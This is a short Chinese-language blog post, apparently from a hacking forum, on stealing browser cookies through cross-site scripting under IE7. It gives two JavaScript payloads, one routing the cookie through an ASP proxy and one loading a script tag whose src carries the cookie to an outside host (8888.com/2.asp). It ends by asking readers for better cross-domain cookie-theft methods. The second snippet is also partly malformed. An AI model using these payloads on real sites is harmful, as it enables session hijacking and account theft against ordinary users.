| 关键词: 192.168 代码 ajax cookie 一个 8.108 可行 直接 办法 成功 |
By:lcx 网上的很多文章提到的利用ajax盗取cookie的代码经我测试不可行。研究了一下午,第一个难题是ajax跨域提交数据,可以用web代理来解决,http://192.168.8.108上的a.htm代码: <script>function getXmlHttpRequest(){if(window.ActiveXObject){var ieArr=["Msxml2.XMLHTTP","Microsoft.XMLHTTP"];for(var i=0;i<ieArr.length;i++){var xmlhttp= new ActiveXObject(ieArr[i]);}return xmlhttp;} else if(window.XMLHttpRequest){return new XMLHttpRequest();}}var xmlHttp=getXmlHttpRequest();xmlHttp.Open("get","http://192.168.8.108/asp/web.asp?url=http://8888.com/2.asp?cookie=mmm",true);xmlHttp.send(null) </script> 其中web.asp是一个asp代理。 这样直接访问http://192.168.8.108/a.htm是可以成功发送数据的。但是在跨站中,假如我们要跨192.168.8.108的站,这样来讲肯定不能让我们放一个web.asp在上边的,所以这种办法不可行。 另外,其它的ie7.0下跨站想盗取cookie一般都会用到iframe标签,在没有研究成功ajax发送的情况下,经过搜索发现了另一种跨站的思路,不需要用iframe来跨域提交,代码: <script LANGUAGE="Javascript" src="" id="get"></script><script LANGUAGE="Javascript"><!--function get(url){var obj = document.getElementById("get");obj.src = url;(obj.readStatus == 200){eval(alert("ok"));}}get("http://8888.com/2.asp?cookie=12345678") /*function query(){get("http://8888.com/web/1.img"); //在这里可以写代码,像把alert("ok")里的ok换成变量,1.img 中的代码是var ok="123"}//-->*/ </script> 至于有其它更好的办法,在IE7下能直接ajax跨域盗取cookie的欢迎讨论 |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|